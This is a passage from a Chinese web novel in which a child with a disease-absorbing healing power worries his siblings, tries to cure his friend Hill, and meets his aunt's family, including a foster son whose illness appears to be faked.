谁也没想到,常年垫底的第七军团,竟然在个人赛第一轮就打败了最有可能夺冠的塞德里克。 两人更是贡献出了几届以来,最精彩的一场对决。 江昭晏刚走下场,这才得知刚刚发生的事情。 她没想到,大哥那边一切顺利,反倒是又又…… 当下,她甚至顾不上用小型治疗仪暂时止血,便急急忙忙地朝他们居住的房子跑去。 推开房门,她一眼便看到被医疗官们团团围住的小幼崽。 往日白嫩的皮肤上,是一道道狰狞的血痕。 江从谦全然没有了往日的冷静,拥有脑域强化异能的他,只需要一回想,便能想到从前那些被他忽视的点。 比如之前又又身上那无缘无故出现的淤青,比如他被从走私舰救下来的时候,全身上下都是伤病。 还有次他发病后,小幼崽偷偷给他治疗,自己病好了,他却睡了快一整天。 更别说,在第七军团时,小幼崽好几次治疗完,都是一副很困倦的模样。 越来越多的细节,让江从谦痛彻心扉。 他悔恨莫及:“我早该知道,这样强大的异能,绝不可能没有代价……” 江见微的眼眶红了,想要抱住弟弟,可看着他身上的那些伤痕,却连碰都不敢碰。 “对不起又又,哥哥没有保护好你……” 反倒是人群中的又又,一脸茫然:“我……我没事啊!” 小幼崽也不知道为什么。 他刚吃完那个人身上的病症,正想跟哥哥们显摆一下,就看到他们痛苦心碎的模样,然后就着急忙慌地把自己带回去,又请了一堆医疗官。 随后,他便抬头,看到了满身是血的江昭晏。 “二姐!”小幼崽眼睛一亮,随即又焦急道,“你受伤了!” 江昭晏已经在来的路上知道了来龙去脉。 一想到,弟弟的治愈异能,竟然是将对方的伤痛转移到自己身上,她就心疼得不行。 小幼崽习惯性地想要将姐姐身上的伤吃掉,却见江昭晏竟猛地后退两步。 又又懵了:“……姐姐?” 江昭晏此时才是最后悔的那个。 她为什么要试验新打法,让又又吃了这么多苦头。 “又又,你痛吗?”她小心翼翼地问。 “不痛啊!”又又摇摇头。 “怎么可能不痛?”江昭晏的眼泪都要掉出来了,“你不要安慰姐姐……” 又又愣住:“?我没有啊!” 而江从谦则小心翼翼问道:“又又,你还有哪里不舒服吗?” 又又眨巴眼睛:“我很好啊!” 见哥哥姐姐还不信,小幼崽只能很认真地解释,“我真的只是消化不良啦!” 看着小幼崽脸上单纯的笑意,所有人的心像是被狠狠扎过一般。 明明受了这么重的伤,却还要强装没事,用这样笨拙的理由来安慰他们。 真是太让人心疼了! 第70章 星网上,一小段全息视频正以极快的速度传播。 视频里,一名中年男人痛苦嘶吼着,身上出现一道道裂口,裂口中墨绿色的毒液四溅,碰到毒液的人会瞬间生出燎泡,皮肉溃烂。 四周人群疯狂奔逃,惨叫声此起彼伏。 然而,在这一片混乱之中,却有一个栗发绿眸的孩子,竟逆着人群来到这个中年男人身边。 他毫不犹豫地抱住男人。 几乎是同时,男人身上冒着毒液的裂口竟在缓缓愈合。 下一秒,视频戛然而止。 但星网上却已经吵翻了。 【是什么新电影的预告片吗?虽然拍得还挺真实的,但剧情也太扯了吧?】 【哈哈哈哈哈笑死,编剧是没有一点医疗常识吗?谁不知道,毒囊症是无法治愈的绝症?】 【哎,都说是电视剧了,夸张就夸张点吧,主角拥有治愈异能的小说可不要太多,就是这个治愈过程也太粗糙了吧,建议编剧多去看几本治愈异能的小说。】 【小演员倒是挺可爱的,信念感也很强,之前没有见过呢,是新人吗?】 …… 一开始,所有人都以为,这只是一部电视剧的预告片。 直到比武场上的事情传播开,所有人才反应过来。 【等等?这不是电视剧,竟然是真的?!】 【卧槽!!所以这孩子是真的治愈了毒囊症?!!他有治愈异能?!!】 【不是,治愈异能什么的,不是幻想小说吗?!结果你告诉我是真的?!!】 一时间,整个星网都沸腾了。 在网友们神通广大的查找下,终于发现这段视频是来源于一个名叫伦纳德的直播间。 无数人瞬间涌入了伦纳德的直播间,暴涨的人数差点把伦纳德给吓了一跳。 他就一个普通人,这辈子都没有被这么多人关注过。 看到有人怀疑视频造假,伦纳德急忙道:“绝对没有造假,这些都是我亲眼看到的!!” 还有其他和他一起蹲直播间的网友,也给他作证。 【我是亲眼看着那孩子把人治愈的,但说实话,我现在跟你们一样懵,有种怀疑自己在做梦的感觉!】 【你们往后看,这个孩子身上出现的伤痕,和那个男人身上裂口的位置是一模一样的!】 【难道所谓治愈异能,是将别人身上的伤痛转移到自己身上?!】 【等一下,难道没有人注意到这个孩子的身份吗?】 【我认得他!他是江从谦的弟弟,江元帅的幼子!】 【呜呜呜呜羡慕元帅,有这么可爱又厉害的儿子!!!】 【小可爱看起来有点瘦,有点营养不良的样子,我是菲克星区的营养学博士,建议元帅他们送他来我这里检查一段时间……】 【啧,这算盘打得我们蔚蓝星区都听见了!】 【别闹了,难道就没有人心疼他吗?那么小小一只,站在那么危险的病人面前,用自己的身体承受病人的痛苦,看到他身上那些伤,我眼泪都止不住……】 【唉,是啊,不知道他现在过得怎么样?】 …… 小幼崽正趴在床上,和洛恩打通讯。 如今的洛恩,早就不是在埃米尔星区时,那个不受人关注的小可怜了。 因为彻底治愈了异能失控症,他的异能等级再次提升,如今在家族内部颇受重视。 不过对于现在的他来说,这些都毫无意义。 他只知道,没有又又,就没有他今天的一切。 家族内部一直明里暗里打探他治愈的真相。 为了保护又又,他一直守口如瓶,所有有关又又的消息,都会第一时间传到他这里。 看到视频的那一刻,他顿时愣住了。 他想到在埃米尔星区时,小幼崽柔软温热的手牵着他,将那些折磨他的病症带走。 但原来,治愈的真相竟然是这样吗? 他张了张嘴,却也只能轻声问道:“又又,你……现在怎么样了?” “我?我很好啊!”小幼崽眨巴着眼睛,毫不犹豫地说道。 但洛恩还是看到了他身上那些还未消退的伤痕:“痛吗?” “不痛!而且已经都快好啦!”又又举起手臂,给他展示已经淡了很多的伤痕,“我真的只是吃撑了……” 可是听见他这样说,洛恩心里却更不是滋味。 他是得过病,亲身痛过的人。 哪怕这份痛楚只有万分之一到了又又身上,都会让他难受痛苦。 只是看着又又扬起的笑脸,他也努力将情绪压下,笑起来:“没事就好……” 除了洛恩,还有慕疆慕越祖孙,以及其他又又治疗过的病人们,也都纷纷打了通讯过来关心。 小幼崽都无奈了。 他真的只是吃撑了呀,为什么他们都不信呢! 于是,在看到一个新号码的时候,小幼崽接通后,习惯性地把手臂上淡去的伤痕展现出来,有气无力道:“真的没事啦,都说了是吃撑了……” 下一秒,他就看到希尔。 “希尔哥哥!”又又惊喜地坐起身。 希尔的通讯器是在他们出发前,江见微才改好的,又又立刻就给了希尔,还千叮咛万嘱咐,一定要给自己打通讯。 不过前两天是帝国的节日,希尔不得不留在外事区,没办法拿出通讯器。 直到今天他才找到机会溜出来,立刻就打通讯给又又了。 外事区无法连接星网,他并不知道比武场这边发生了什么,因而一接通,就看到小幼崽身上那狰狞的伤痕。 他那张清冷的脸瞬间紧绷,布满戾气:“谁干的!” 又又被吓了一跳:“没有谁……希尔哥哥好凶哦!” 看到小幼崽脸上的委屈,希尔一愣,脸上的神情瞬间缓和下来:“对……对不起。” “没关系!”小幼崽摆摆手,又下意识地扣了扣额角。 希尔立刻便注意到了:“额头……怎么了?” 又又怕哥哥姐姐担心,不敢告诉他们,但对着希尔就没那么多顾忌了,嘟着嘴道:“不知道为什么,这几天额头都痒痒的……” “痒?” “嗯嗯!”又又将脸凑到他面前,“你看,就是这里,感觉像是蚊子咬了两个包……” 希尔仔细看去,的确发现他额角的位置有一点点凸起。 他皱起眉,下意识去碰触,但全息影像却穿过了又又的身体。 看到希尔怔愣的样子,又又却促狭地笑起来:“希尔哥哥笨笨!全息影像是碰不到的啦!” 希尔听见他这么说,竟点点头:“嗯,我笨。” 然而,小幼崽自己反倒不乐意了:“不不不,希尔哥哥才不笨呢!希尔哥哥超级聪明的!” 听见小幼崽的维护,希尔微微弯起唇角,但随即那笑容又落了下去:“你……什么时候回来?” “看完比赛就回来!”小幼崽快乐地说道,“我拍了好多照片!真的超级精彩,等我回来跟你说哦……” 希尔点点头,认真道:“好……等你。”- 接下来的几场比赛,江昭晏简直势如破竹。 小幼崽的手掌都拍红了。 唯一让他不爽的就是,每次姐姐比赛完都会躲着他,直到用治疗舱把身上的伤都治好后,才来见他。 江从谦更是严格,几乎将所有前来拜访的人都拦下了,直到又又身上的伤痕消失,又经过几个医生的确认,身体没有问题,才稍微放松一点。 他此时也推测出了,又又的“异能”是需要吸收病症的,只是这种吸收是有限度的。 又又所谓的消化不良,就是他吸收的病症超过了限度,所以会在身体上体现出来。 江从谦深知,无论什么事情,都是过犹不及。 因此,接下来的一段时间,他都会仔细注意又又吞噬病症的情况,并且很快就确定了吸收的限度。 于是,小幼崽很快就像被管控零食一样,被管控起每天吞噬病症的量。 不能再像以前那样随心所欲地吃,小幼崽本来还有点郁闷。 但他很快就发现,被这样管控过后,他再也没有消化不良过,更重要的是,他的额头也不痒了。 而江昭晏也在此时赢下了最后一局比赛,成为了个人赛的冠军。 整个第七军团都欢呼起来。 这些年为了守护边境,每一次的军部述职,他们都没办法派出最强的战力。 每一次看到自己的军团垫底,谁的心里都不好受。 尤其是一些老兵,眼眶都有些泛红。 江昭晏站在领奖台前,心情亦是汹涌澎湃。 江砺将勋章佩戴在她的胸前时,手指都有些颤抖。 父女俩对视一眼,江砺轻轻地拍了拍女儿的肩膀:“昭晏,你很优秀!” 江昭晏一愣,但江砺已经抬手朝她行了个军礼,便转身离开了,将欢呼的舞台留给她。 听着现场山呼海啸的声音,江昭晏下意识看向又又的方向。 当年被灵基射线污染,等级掉落时,她怎么都想不到,有一天她还能重回巅峰。 她抚了抚勋章,朝又又的方向敬了个军礼。 此时的又又,在包厢里都乐疯了:“姐姐是冠军!姐姐太厉害了!” 在江昭晏拿下冠军后,后面的比赛,第七军团更是神勇,仿佛要将这些年的憋屈都发泄出来。 时隔多年后,第七军团终于再一次夺魁,重新拿回联邦最强军团的荣誉。 只是他们都知道,这个荣誉里还有又又的一份功劳。 当他们想要拉着又又一同庆祝的时候,才知道,小幼崽已经跟着哥哥姐姐回家了。 又又刚到家没多久,希尔竟也跟着上门了。 江从谦都怀疑,他是不是就守在自家门口了。 又又听说希尔哥哥来了,蹦蹦跳跳地就下了楼,只是看到希尔的瞬间,他不禁愣了一下。 希尔哥哥身上的病气……变多了! 他记得很清楚,在他去地胄星之前,希尔哥哥身上的病气都很少了。 见他没有像往常那样朝自己跑过来,希尔的手指微微地蜷了蜷:“又又……怎么了?” 又又回过神,将希尔拉到自己的房间里,严肃地问道:“希尔哥哥,你最近在做什么?” 希尔垂着头,有一点慌乱。 “我……” 在又又的注视下,他小声地说道,“星空馆……” 又又:“诶?” 希尔深吸一口气:“那里……可以看到你家……” 自从又又告诉他,看完比赛就回来后,希尔就每天都会去星空馆,在那里可以看到江从谦庄园的停泊港。 所以,他才会在又又回来的第一时间,赶到他家。 希尔虽然寡言淡漠,却也知道这种行为不太正常。 他害怕又又会讨厌他。 然而小幼崽只是挠了挠头:“希尔哥哥,你想早点见到我,可以给我打通讯,问我什么时候回来呀?星空馆那么远,每天都跑过去,很累的。” 这回轮到希尔愣住了。 又又没有讨厌他…… 小幼崽并没有注意到他的情绪,已经拧起了眉头。 这样看来,希尔哥哥最近并没有受伤,那他身上的病气为什么会增加呢? 不对…… 他忽然想起来,其实之前希尔的病气也是在缓慢增加的。 只是自己每天吞噬,所以并没有注意罢了。 而且,食病兽本就是所有疾病的克星。 之前不管是多么严重的病症,被又又吞噬后,都能够治愈。 为什么希尔哥哥却是一个例外呢? 小幼崽忽然想起,长老们曾经教导过,每一种病都有独特的病灶。 如果能找到病灶,就能事半功倍。 他要是能找到希尔哥哥身上的病灶就好了。 想到这里,他不禁眼前一亮,连忙拉住希尔:“希尔哥哥,你快把狼狼叫出来,我有办法了!” 希尔一怔,他其实有很多话想问又又,可还没开口,又又便提起了银狼。 虽然是自己的精神体,但希尔还是有些低落地垂下眼角。 只是即便如此,他还是听话地唤出了银狼。 银狼许久没有见到又又,出现后便伏下|身体,用巨大的狼头温柔地蹭了蹭小幼崽。 又又被它蹭得发痒,原本好久不痒的额角又有些微微的痒意。 “狼狼哈哈哈哈……” 和银狼玩了一会,又又总算想起正事。 他把手放在银狼和希尔的身上,脑中回忆长老们的话,目光顺着那些病气,专注地探寻过去。 然而病气纷繁复杂,想要从中找到源头,就像在一团缠在一起的毛线团中找到线头,需要非常强的耐心和专注力。 又又眼睛看都花了,也没有找出来。 他有点沮丧,只是看到希尔身上源源不断的病气,小幼崽又握紧拳头。 为了治好希尔哥哥,他一定可以的!- 这段时间,又又的名字几乎传遍了整个联邦。 林意姝看到新闻时,都愣了一下。 她的亲姐姐名叫林意妤,就是又又他们的妈妈。 林意姝小时候跟姐姐关系很好,只是后来结婚生子,才渐渐疏远。 直到林意妤去世,她家里又闹出了不少事情,慢慢的,便和江从谦他们断了往来。 可她没想到,姐姐临死前都在念着的幼子竟然找回来了,还是治愈系异能者。 林意姝心念一动,立刻吩咐一旁的仆人:“去叫少爷过来。” 没一会,一名长相俊秀的少年走了进来。 他大约十四五岁,举手投足间十分优雅,世家风范十足,只是脸色有些苍白,看着有几分病弱。 林意姝一看到他,便急忙让他坐下:“恩怀,你这几天又不太舒服吗?” 许恩怀虚弱地咳嗽几声:“妈妈,我没事,就是刚刚走得有点急了。” 林意姝心疼地看着他:“你呀,总是这么老实,妈妈又不着急,你慢慢走就是了。” 但随即,她才发现,只有许恩怀一个人过来,另一个儿子却不见踪影。 她神色微沉,问仆人:“许异呢?怎么还没过来?他这个点不是正在机甲训练场上课吗?” 仆人有些迟疑地看向许恩怀,许恩怀面露愧疚:“妈妈,对不起,是我的错,我实在很想听机甲课,就躲在门边听了会,被小异发现后,他不高兴……就出去了……” 林意姝气得一拍桌子:“他还会逃课了!!” 随即又有些心疼地看向许恩怀,“你想要听机甲课,怎么不跟妈妈说?” 许恩怀垂下眼眸,声音黯然:“我这样的身体,就算喜欢,这一辈子也没法上机甲……” 林意姝眼眶泛红。 她当年生孩子的时候发生了意外,抱错了孩子。 这个抱错的孩子就是恩怀。 恩怀自小体弱多病,虽然异能天赋高,却因为身体的缘故无法动用异能。 林意姝亲力亲为地将他照顾长大,却直到三年前才发现恩怀不是自己的亲子,在一番寻找后,才找到亲生儿子许异。 只是比起病弱乖巧的许恩怀,许异却是桀骜不驯,时常逃课,对父母更是疏离冷漠。 时间一长,林意姝自然更疼爱许恩怀。 因为许恩怀心思敏感,他们便对外宣称,两人是双生子。 直到晚饭时分,许异才回到家。 他看起来比许恩怀要更瘦一些,皮肤微黑,整个人灰扑扑的,全然没有许恩怀那种贵公子的气质。 林意姝正想叫住他,就发现他脸上的几道伤口,顿时皱起了眉头:“你又出去跟人打架了?” 许异没有说话。 许恩怀连忙道:“妈妈,你别生气,小异他不是故意的!” 他一劝,林意姝反而更生气:“许异!你就不能学学你哥哥,听话一点,懂事一点?你的异能天赋本来就差,还不努力,整天逃课,要是你哥哥……” 许异别开头,垂下眼。 林意姝一看到他这个样子,心里就来气:“你今晚不要吃饭了!” 即便被惩罚,许异也没有说话,点了点头,就转身要回自己的房间。 “你站住!我话还没说完呢!” 林意姝气得发抖,许恩怀连忙轻轻给她拍背,又温声劝她。 林意姝坐在沙发上,直到情绪平静下来,才说道:“你们去收拾行李,这两天跟我去一趟蔚蓝星区。” 许恩怀愣了一下:“妈妈,去蔚蓝星区做什么?” 林意姝说道:“你们大姨母的幼子找回来了,还是罕见的治愈异能,据说连毒囊症都可以治!” 她慈爱地看着许恩怀,“恩怀,你的身体治了这么多年都没有起色,倒不如去蔚蓝星区看看,说不定就能治愈了呢?” 许恩怀脸上的笑容微微一僵,但很快又恢复正常,苦恼地说道:“妈妈,我也想去蔚蓝星区看看表弟,但我的身体……恐怕支撑不了长期的星际航行……” “这点我也考虑好了。”林意姝拍拍他的手背,“你陶阿姨这次跟我们一起去,这些年你的病一直由她治疗,有她陪着,不会有事的。” 眼见林意姝已经下了决定,许恩怀便也乖巧道:“好,我听妈妈的。” 林意姝这才看向许异,微微皱了一下眉头:“你这次跟我们一起去,到了你表哥家里,懂事一点,不要给家里丢脸!” “行了,你回房吧。” 许异全程一言不发,听到这句话,才沉默着回到自己的房间。 只是在进门之前,他下意识地朝母亲的方向看了一眼,却见她正在许恩怀讨论要准备什么礼物,母慈子孝,其乐融融。 许异脚步顿了顿,却还是垂下眼,回到了房间- “姨母?”又又惊讶地看着大哥。 江从谦揉了揉额头:“对,她是妈妈的亲妹妹,这些年她一直住在若阳星区,听说你被找回来了,所以上门来拜访。” 这些天,江家可谓是门庭若市。 不知道有多少人想要上门拜访,求又又治病的,拉关系的,什么人都有,全都被江从谦给挡了下来。 但林意姝到底是他们的亲姨母。 江从谦隐约听说,林意姝的那个养子体弱多病,她这时候过来,八成就是想让又又给许恩怀治疗的。 林意姝对外虽然宣称是双生子,但也就糊弄糊弄外人。 若阳星区上层的那些家庭,哪个不知道。 许恩怀幼年时,曾跟林意姝来元帅府拜访过。 江从谦也就跟他有过一面之缘,并没有什么印象,至于林意姝后来找回来的亲生儿子许异,他更是见都没有见过。 见见亲人倒没什么,只是这位姨母性格有些糊涂。 江从谦担心她仗着身份,让小幼崽受气,便多嘱咐了几句。 又又听得晕头转向,有些疑惑:“姨母……不是亲人吗?” “但又又才是最重要的!”江从谦温柔地摸了摸小幼崽的头发,“又又不用委屈自己,不想治就不治,不喜欢他们就不用搭理。” “一切都有哥哥呢!”《 》 70-80 第71章 自从决定要研究病灶,好治愈希尔后,又又这段时间都有点走火入魔。 以前他只要看到病气就直接扑上去啃,最近却是耐着性子,顺着病气一点点寻找病灶。 一开始也总是失败,毕竟病气杂乱,尤其碰上病情复杂的,小幼崽的眼睛都会看成蚊香眼。 直到前几天去治疗一名晶血症的患者时,他终于在那一堆粉红色病气中,找到了那个源头。 那像是一颗粉色的宝石,表面布满细碎的光点。 又又吃下去的时候,都觉得有种“咯吱咯吱”硬糖的口感。 而成功过这一次之后,他就慢慢有了经验。 正如长老们曾经所说,不同的病症会有对应的病灶,而越是复杂的病症,病灶的样子也会越复杂,而且也越顽固。 但只要吃掉了病灶,那些病气就会慢慢散去。 而对于食病兽来说,病灶的口味与病气相差无几,但口感却截然不同。 脆的、软的、糯的、有嚼劲的、口感沙沙的…… 小幼崽简直像是打开了新世界的大门。 更重要的是,病灶占肚子的分量更少,他一顿能吃更多。 一开始,江从谦他们还有些担心,可是看到又又吃了好几天,也没有什么不良影响后,便也渐渐放心了。 又又每天都吃得十分满足,不过他也没有忘记最重要的事情,那就是要帮希尔治疗。 于是,等他觉得自己已经积攒够了经验,便立刻要在希尔身上试验。 因为最近守在江家庄园附近的人太多,希尔每次进出的时候都有点麻烦,好在银狼会隐身,他每次便蹭着卢西恩等人的悬浮车进来。 今天,他一如往常般进入江家庄园,小幼崽便已经在门口等着了。 一见他过来,便立刻拉着他急吼吼地往楼上跑。 江从谦看着小幼崽的背影,无奈地摇摇头,随后才看向卢西恩:“审讯结果怎么样?” 江从谦问的就是殷质。 殷质从一个不受关注的旁支子弟,一路成长到如今的地步,也算是个难得的人才,只可惜走错了路。 他自从患病后,发现不管自己赚了多少,到了什么样的地位,却都无法治愈自己的病后,便心性大变。 他一边怨恨恐惧着疾病,却又一边想要成为主宰疾病的神明。 他制造生物毒素,制造那些表面压制,实则让疾病爆发得更为猛烈的药剂。 他靠着这些,在世家内部混得如鱼得水,背后的利益关系极为复杂。 虽然抓了他,但军部承受的压力也不小。 卢西恩感慨道:“说真的,他能交代,还多亏了又又……” 知道又又的治愈异能后,原本想要出手给军部施压,保住殷质的世家,都沉默了。 毕竟,别的利益就算了。 这可是能够治愈异能绝症的! 谁能保证自己一辈子不会患病呢? 更何况,如今整个联邦的治愈异能,也就又又一个人。 众人交好都来不及了,怎么可能去得罪。 这倒是让江砺元帅准备好的后手都没有用上。 而被他们讨论的小幼崽,此时正按着希尔的肩膀:“希尔哥哥,你快躺下!” 希尔有点懵。 他今天一来就被又又拖到了楼上,本以为是又又想去星网玩了。 谁知又又根本就没有拉他去全息室,而是直接把他带到了自己的房间。 而且一进房间,就急吼吼地把他往床上按。 不过又又很快就说出了自己的目的:“希尔哥哥,我这次一定可以给你找到病灶的!” 希尔又是一愣。 之前又又就说过,只要找到病灶,他就能痊愈。 只是又又试了好几次,都失败了。 希尔虽然很想痊愈,却也还是强忍着失望,努力安慰又又。 后来又又没有再提,他以为又又已经放弃了。 可今天他才知道,又又一直在为此默默努力。 希尔从小到大,还从来没有人对他这样重视,这样在乎过。 他的心脏又热又软,却是什么话都说不出。 只能按又又的吩咐,顺从地躺在了床上。 枕头上传来和又又身上一样的气息,令希尔因疼痛而紧绷的神经,微微放松了些。 银狼从他身侧的空气中走了出来。 往常它只要一出来,便会第一时间去蹭蹭又又。 只是,今天它似乎也知道,又又在做正事,便只是低低地呜咽几声,便乖巧地趴在了希尔身旁。 又又表情严肃地站在一旁,小小的手握成拳头,抵在下巴上。 虽然他已经有了一些经验了,但希尔哥哥的病真的好复杂哦! 希尔看到又又皱起眉头,下意识问道:“怎么了?” “没什么!”小幼崽下定了决心,“希尔哥哥你躺好哦,我不让你动,你千万不要动。” 希尔毫不犹豫道:“好。” 一旁的银狼也跟着“呜”了一声。 又又趴在他身旁,深吸一口气,便顺着病气开始寻找。 而在他面前的一人一狼,都老老实实地躺着,一动不动,只是两双紫眸跟随着他的身影,微微转动。 花了快一个小时,眼睛都快花了之后。 又又终于看到了希望。 他看到,在那一团浓郁得近乎发紫的病气中,竟影影绰绰地漂浮着一朵黑色莲花。 “太好了!希尔哥哥!” 小幼崽都快激动哭了,“我终于找到你的病灶了!” 听到他的话,希尔呼吸一窒。 心脏似乎都骤停了一瞬,之后才又急速地跳动起来。 “找到了……” “嗯嗯!”又又也是兴奋不已,毫不犹豫地就朝那朵黑色莲花啃了下去。 然而…… 他竟然什么都没有吃到! 那朵黑色莲花像是睡眠的倒影,微微晃动了一瞬,却是毫发无伤。 又又不信邪,又吃了好几口。 依然什么都没吃到。 又又都呆住了。 怎么会这样?! 长老们从来没有说过,还会有这种情况啊! 想到自己辛辛苦苦找到的病灶,竟然吃不到! 再看到那朵摇曳的黑色莲花,仿佛都在嘲笑他一般。 小幼崽顿时就绷不住了,“哇”的一声哭了出来。 希尔顿时顾不上自己的病,连忙拥住他:“又又……不哭……” “呜呜呜,希尔哥哥……” 又又想到这些日子的辛苦和期待,如今却通通化为泡影,越想越委屈。 趴在希尔怀里哭得惊天动地,小脸都花了。 希尔那双紫眸里满是心疼,却只会抱着他重复:“不哭,又又,不哭……” 被他安抚着,又又的哭声渐渐变小。 小幼崽的情绪向来来得快,去得快,把委屈发泄干净之后,那股不服输的劲头便又上来了。 他握紧小拳头,打了个哭嗝:“希尔哥哥,你放心!嗝……我一定会找到办法的!” 哼! 他就不信了,这世上还有他食病兽吃不到的病症!- 蔚蓝星区停泊港。 一艘中等大小的星舰缓缓进港。 林意姝换好衣服,化好妆,才从房间走出来。 她的丈夫许延正在和下属通讯,桌旁只坐着许恩怀、许异,以及许恩怀的医生陶晴。 陶媛正在跟许恩怀说什么,看起来关系很是亲近。 许异则独自坐在一边,发着呆不知道在想什么。 等到林意姝出来,许恩怀立刻就注意到了,走上前满脸濡慕:“妈妈。” 林意姝看到他,脸上的神情缓和了许多,替他整理了一下衣领,温声道:“身体怎么样?难受吗?” “还好……”许恩怀说。 林意姝仔细看了看他的脸色,满意道:“确实还不错。”随后又看向陶晴,“陶医生,这次辛苦你了。” 陶晴的年纪和林意姝差不多大,气质温婉。 “不辛苦。”她柔柔地笑了笑,“恩怀也是我的病人嘛!而且恩怀又懂事又孝顺,我真是羡慕您有一个这么好的儿子。” 她这话简直像是说到了林意姝心坎里,她露出微笑:“是啊,恩怀的确是个好孩子。” 他们虽然不是亲生母子,却比亲生母子还要亲近。 这时,林意姝才看到孤零零坐在一旁的许异。 到底是亲生儿子,林意姝也不像以往那样严厉,语气甚至是难得的温和:“许异,你累不累?” 许异没想到母亲会关心自己,有些受宠若惊:“我不累。” “那就好。”林意姝拍了拍身旁的许恩怀,“哥哥比你身体弱,到了江家,你要照顾好哥哥。” 许异的笑容缓缓地落了下来,没有再说话。 林意姝见状,便皱起眉头:“你这是什么表情?” 一旁的许恩怀适时露出失落的神情:“妈妈,我毕竟不是小异的亲哥哥,还占了他的位置那么久,虽然这并不是我本意,但……” 林意姝不可置信地问许异:“你真是这么想的?!” 许异抬起头,就看到许恩怀脸上得逞的笑意,下意识握紧了拳头。 可他还没说话,一旁的陶晴便惊恐道:“小少爷,恩怀是病人,你可不能打他啊!” 林意姝这才看到许异握紧的拳头,她神情冰冷,满脸失望:“一两句话不顺心就要打人!没规矩没教养!我林意姝怎么就生了你这样一个孩子!” 许异低着头,听着母亲的数落,心却渐渐麻木。 就在这时,星舰顺利到港,许延也终于打完了电话:“差不多了,准备下去吧。” 原本脸上还带着笑的许恩怀微微一僵,下意识看向陶晴。 他的病是怎么回事,她比谁都清楚,要是被发现了…… 陶晴却只是微微朝他摇了摇头,示意他冷静下来。 说实话,陶晴并不相信星网上的话。 什么治愈异能!一听就假。 何况,之前在网上被疯传的那个视频,也都被删除了。 更让她确信这一点。 再说了,就算是真的。 连医院的各种仪器都查不出来,她就不信对方能发现。 陶晴笃定的态度,让许恩怀勉强放下了心,跟着父母上了悬浮车。 而许异,则毫无意外地被安排到了另外一辆悬浮车上。 看着前方一家三口言笑晏晏的模样,许异用力地抿紧了唇- 江家。 因为姨母过来,江昭晏特意多留了几天,晚几天回第七军区。 只是对于这位姨母,她的印象实在不太好。 她出生的时候,姨母还没有结婚,她有时候跟着妈妈回去,就会碰到她。 江昭晏脾气不好,谁惹她,她必然要打回去。 再加上她异能等级高,常常把对方揍得哭爹喊娘。 而她这位姨母呢,说好听点,是圣母病,说难听点,就是虚伪。 看到对方一身伤,就认为是她的错。 不管她怎么解释都不听。 幸好还有妈妈替她撑腰。 但那之后,江昭晏也就很不愿意再见到她了。 后来跟她断了联系,说实话,江昭晏还有点庆幸来着。 谁能想到,她竟然还会找上门,听大哥说,还是冲着又又来的。 唉,谁知道她又会闹出什么幺蛾子! 想到这里,江昭晏忍不住捏了捏小幼崽的脸,担忧地叹了口气。 又又眨了眨眼睛,因为脸蛋被捏着,说话有些含糊不清:“姐姐,你肿么了?” “没事……”江昭晏站起身,捏了捏手指。 管他是谁,要是给又又气受,看她不给他们揍个满脸开花! 就在这时,莫管家走进来,说是林意姝一家已经到了。 江从谦将手中的光屏收起,起身朝门外走去。 江见微也不情愿地站起身,拖拖拉拉地跟在后面。 最后才是抱着又又的江昭晏。 悬浮车的车门打开,林意姝和许延下车,随后才是许恩怀。 倒是江从谦看到只有他们三个,还怔了一下,彼此寒暄一番后。 林意姝便慈爱地看着又又:“这就是遇安吧?” 又又听着这个陌生的名字,有些疑惑:“遇安是谁?我叫又又呀!姨母你不知道吗?” 林意姝僵了一下。 星网上只说了是元帅的幼子,她便想当然地以为是江遇安,哪里能想到他竟然改名了? “是,又又。”林意姝很快反应过来,随后露出感伤的神情,“要是姐姐知道你找回来了,肯定会很高兴的!” “妈妈知道了呀!”又又眨了眨眼睛。 林意姝却愣了:“什……什么?可你们的妈妈不是……” 又又却道:“我们去终焉见过妈妈了哦,所以妈妈肯定已经知道了!” 林意姝勉强扯出笑容,干巴巴道:“原、原来是这样。” 江昭晏努力憋住笑。 还是又又厉害啊! 一见面,就让姨母吃瘪了! 林意姝憋屈得不行,但还是维持住了表情,将许恩怀介绍给他们。 许恩怀在人前向来表现得很好,进退有度,彬彬有礼。 即便江昭晏和江见微对姨母没什么好感的,也很难对这个表弟生出恶感。 只不过许恩怀那点道行,在江从谦面前就不够看了。 面对他的讨好,江从谦只是淡淡地把话题转开。 这时,又又忍不住问道:“不是说,有两个表哥吗?怎么只来了一个?” 他这话一出,许家三人都是一顿。 林意姝这才想起,许异还没有到,她愣了一下,笑容顿时有些勉强:“一台车坐不下,我就让他坐另一台车。” “那就再等等表弟吧。”江从谦说道。 林意姝却忍不住道:“恩怀身体不好,要不我们还是先进去吧?” 她话音刚落,另一辆悬浮车便到了。 许异下车后,都愣了一下。 以往去参加宴会的时候,也是爸爸妈妈带着许恩怀一台车,他一个人一台车。 等他到的时候,他们已经先进去了。 他本以为这次也是一样,没想到居然还有人在等他。 又又看到他,便一眼注意到了他身上浓郁的病气。 只是他看起来却神色如常,看起来并不像重病缠身的样子。 这样的情况,又又之前只遇到过希尔哥哥一个。 他连忙从姐姐身上跳下来,朝许异走过去,露出一个大大的笑容:“你就是另一个表哥吗?你好,我叫又又!” 许异一怔。 他一直以来都是一个人,很少会有人主动靠近他。 这个小幼崽是第一个。 他似乎被又又脸上的笑容打动,低声道:“又又,我……我叫许异。” “许异表哥!”又又抓住他的手,毫不客气地吞了一口病气。 咦? 这个味道也很像希尔哥哥身上的病气诶! 眼看着许异被小幼崽弄得手足无措的样子,江昭晏及时上前解围:“许异表弟是吧,我是江昭晏,你可以像又又一样,叫我二姐。” 许异看到江昭晏脸上温和爽朗的笑容,没有嫌弃,没有冷漠。 他愣了一下,才小声喊道:“……二姐。” 江从谦走过来:“一路辛苦了。” “不……不辛苦。”许异连连摆手。 江从谦笑了笑,他是知道又又的,小幼崽脾气好,却并不算一个特别热情的人。 能让他这么自来熟的,这个表弟身上或许有什么特别的病症。 只是他却没有点破,又温声寒暄了几句。 连先前一言不发的江见微,也跟着说了几句话。 反倒是林意姝三人像是被冷落一般。 林意姝原本因为忘记许异没到,还有些愧疚。 但此时,看着许异和又又他们相谈甚欢,心里又有点不舒服了,说道:“从谦,既然许异已经到了,我们就先进去吧。” 江从谦看着她身旁,脸色苍白、摇摇欲坠的许恩怀,笑了笑:“好,这边请。” 一行人进入房子。 莫管家早已让人摆好了各色点心和茶水。 林意姝也在此时调整好了情绪,习惯性地牵着许恩怀坐到自己身旁。 然而,许恩怀却看着被又又几人围着的许异,眼中浮现出嫉恨。 